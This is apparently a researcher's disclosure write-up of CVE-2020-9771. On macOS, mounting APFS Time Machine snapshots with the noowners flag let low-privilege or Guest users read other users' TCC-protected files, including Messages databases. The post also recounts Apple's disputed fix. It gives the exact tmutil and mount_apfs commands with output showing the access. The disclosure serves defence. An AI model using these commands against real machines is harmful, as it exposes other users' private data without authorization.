We could mount the entire file system through APFS snapshots as read-only, with the
noowners flag, which enables us accessing (almost) every file in the file system, including data (documents, files, etc…) of every user on the system, including those protected by Apple’s privacy framework (TCC). Even with the Guest account we could read files of admin accounts as Guest! 😱
This could be achieved with a single command, for example:
mount_apfs -o noowners -s http://com.apple.TimeMachine.2019-11-17-141812.local /System/Volumes/Data /tmp/snap
This has been fixed in macOS Catalina 10.15.4 and on Mojave on the 26th of May.
There were two separate issues in this bug, and the combination of those became a very powerful system wide access.
- TCC privacy is not enforced on mounted local snapshots allowing someone to mount it and access any file inside, including those normally privacy protected
- Initiating an APFS snapshot is available for all users, even low privileged ones, as well as listing of those. Beyond that, all users can mount local APFS snapshots, even a low privilege ones, and if used with the
noownersflag, the low privilege user can access all data through the local snapshot, including every other users’ data (even high privileged one).
1. Privacy bypass
From Terminal we can get a list of local snapshots available:
% tmutil listlocalsnapshots /System/Volumes/Data Snapshots for volume group containing disk /System/Volumes/Data: com.apple.TimeMachine.2019-11-15-202744.local com.apple.TimeMachine.2019-11-16-135116.local com.apple.TimeMachine.2019-11-16-145028.local com.apple.TimeMachine.2019-11-16-162241.local com.apple.TimeMachine.2019-11-16-182353.local com.apple.TimeMachine.2019-11-16-214156.local com.apple.TimeMachine.2019-11-17-112126.local com.apple.TimeMachine.2019-11-17-122313.local
We can mount one:
csaby@mac ~ % /sbin/mount_apfs -o nobrowse,ro -s com.apple.TimeMachine.2019-11-16-182353.local /System/Volumes/Data /tmp/snap
If we navigate the user’s folder, we will be able access locations which our protected by TCC.
csaby@mac ~ % ls -l /tmp/snap/Users/csaby/Library/Messages total 6224 drwx———@ 12 csaby staff 384 Nov 6 13:56 Archive drwx——— 22 csaby staff 704 Nov 13 20:22 Attachments drwx——— 4 csaby staff 128 Nov 7 20:30 StickerCache -rw-r———r——— 1 csaby staff 491520 Nov 16 08:19 chat.db -rw-r———r——— 1 csaby staff 32768 Nov 15 14:43 chat.db-shm -rw-r———r——— 1 csaby staff 436752 Nov 16 17:32 chat.db-wal -rw-r———r——— 1 csaby staff 32768 Nov 4 09:36 prewarm.db -rw-r———r——— 1 csaby staff 32768 Nov 16 08:09 prewarm.db-shm -rw-r———r——— 1 csaby staff 1520312 Nov 16 08:09 prewarm.db-wal
if we compare it with standard access, it is not permitted:
csaby@mac ~ % ls -l /Users/csaby/Library/Messages ls: Messages: Operation not permitted
This is an issue as we can access every file through the local snapshot mountpoint.
We can also force the creation of a snapshot if there is no one:
csaby@mac ~ % tmutil localsnapshot Created local snapshot with date: 2019-11-17-140728
In short with
mount_apfs we can completely bypass privacy protected folders.
2. “Privilege escalation”
Although this method is not a full privilege escalation, as we don’t get higher privileges, however we can access files that belong to higher privilege users, and with the previous finding, this will include TCC protected data.
First, as a low privilege user we can create a local snapshot, and later list it to get its ID (this is not a bug). Although the second is not a hard requirement, as its ID can be figured out based on the time. Also snapshots are auto created by the system, so even if we can’t create one we can find one, and its ID is guessable, because it uses the following format:
Here follows the demonstration of the issue. This is the low privileged ID I used:
% id uid=502(n00b) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),100(_lpoperator),702(com.apple.sharepoint.group.2),701(com.apple.sharepoint.group.1)
To show that it doesn’t have access to other user’s folder (where by-the-way,
csaby is an admin user):
n00b@mac Messages % ls -l /Users/csaby/Library ls: Library: Permission denied
Let’s create and list local snapshots:
n00b@mac Messages % tmutil localsnapshot Created local snapshot with date: 2019-11-17-141812 % tmutil listlocalsnapshots / Snapshots for volume group containing disk /: com.apple.TimeMachine.2019-11-17-133110.local com.apple.TimeMachine.2019-11-17-133316.local com.apple.TimeMachine.2019-11-17-141812.local
We can mount the snapshot with
noowners, which according to the
Ignore the ownership field for the entire volume. This causes all objects to appear as owned by user ID 99 and group ID 99. User ID 99 is interpreted as the current effective user ID, while group ID 99 is used directly and translates to `unknown’.
n00b@mac Messages % mount_apfs -o noowners -s com.apple.TimeMachine.2019-11-17-141812.local /System/Volumes/Data /tmp/snap mount_apfs: snapshot implicitly mounted readonly
And finally we can access all data from there as the privileges set for our user:
% cd /tmp/snap/Users/csaby n00b@mac csaby % ls -l Library/Messages total 4704 -rw-r--r-- 1 n00b staff 258048 Nov 9 14:41 chat.db -rw-r--r-- 1 n00b staff 32768 Nov 17 13:29 chat.db-shm -rw-r--r-- 1 n00b staff 1507952 Nov 9 14:41 chat.db-wal
We can perform this attack even as a
Guest account if FileVault is not turned ON. If FileVault is ON, Guest can only run Safari (after a reboot), and also the user data will be encrypted, so even if someone can break out the kiosk mode and start
Terminal and run the above commands, he/she wouldn’t see the contents.
The “Fix” 😭
This requires some longer explanation as IMO the fix provided by Apple is not right.
At the beginning of March 2020, Apple said that the fix is shipped in Catalina 10.15.4 beta, they didn’t tell a word how they fixed it. I quickly jumped on it, and I found that the trick still works. I was puzzled. After some testing it turned out that they tied this to the Full Disk Access (FDA) right in TCC (
kTCCServiceSystemPolicyAllfiles), which I found wrong. This is what I wrote them on the 13th of March:
I did one more test and turned off “Full Disk Access” for Terminal, and then it indeed stopped working. I don’t consider this as a fix, relaying on TCC stopping this is a bad move in my opinion, most people will have Terminal set to “Full Disk Access”.
This still violates the basic BSD security model, as you can read other user’s file, without elevating to root. Even if SIP is OFF and Terminal has “Full Disk Access”, you shouldn’t be able to mount anything with “noowners” unless you are root. **The mount operation itself should fail.**If you think about it: Even if SIP is ON and Terminal has Full Disk Access, you can’t see other user’s files with it - with this vulnerability you can.
“Full Disk Access” TCC setting is global, which means that if an admin user enables this, a low privileged user can use Terminal to access the admin user’s files.
I got a reply the same day:
Thank you for providing additional information. We will investigate.
After this point we went into, what I call “black hole mode”, I never got replies to my emails, and than
CVE-2020-9771 became public on the 26th of May. They shipped the fix to Mojave on that day (https://support.apple.com/en-us/HT211170), and retroactively updated the 10.15.4 security notes the same day with this CVE (https://support.apple.com/en-us/HT211100). I tested this again, and I found the same behavior. At this point I still didn’t know if they considered this fixed or not, as no one came back to me. Their description “This issue was addressed with a new entitlement.” is extremely misleading.
I sent an email again on May 27th (still in “black hole mode”):
I want to ask again if you consider this fixed via controlling this “exploit” via the “Full Disk Access” permission in TCC. As noted earlier I think it’s not right.
Finally on the 29th of June I got a reply:
This issue was addressed with macOS Catalina 10.15.5 and assigned CVE-2020-9771 -> https://support.apple.com/HT211170 . We are not planning any additional changes in this area.
macOS Catalina has improvements which have reduced the need for applications run through Terminal to require Full-Disk Access, and it should not be enabled by a user unless necessary.
That’s it, not much I can do about this anymore, I only hope that it will get enough public attention, with many disappointed users about the fix, that 🍎 will reconsider the fix.
The “Full Disk Access” right starts to get too much power these days, beyond controlling file access now it controls mounting, and also EndpointSecurity extensions.
This means that a user must be extremely careful which app is granted FDA right, because that will be able to access every user file on the system. If we grant for example
Terminal this right, a low privilege user will be able to read our files through the app.
So until this is changed, please triple check what gets this right and what not.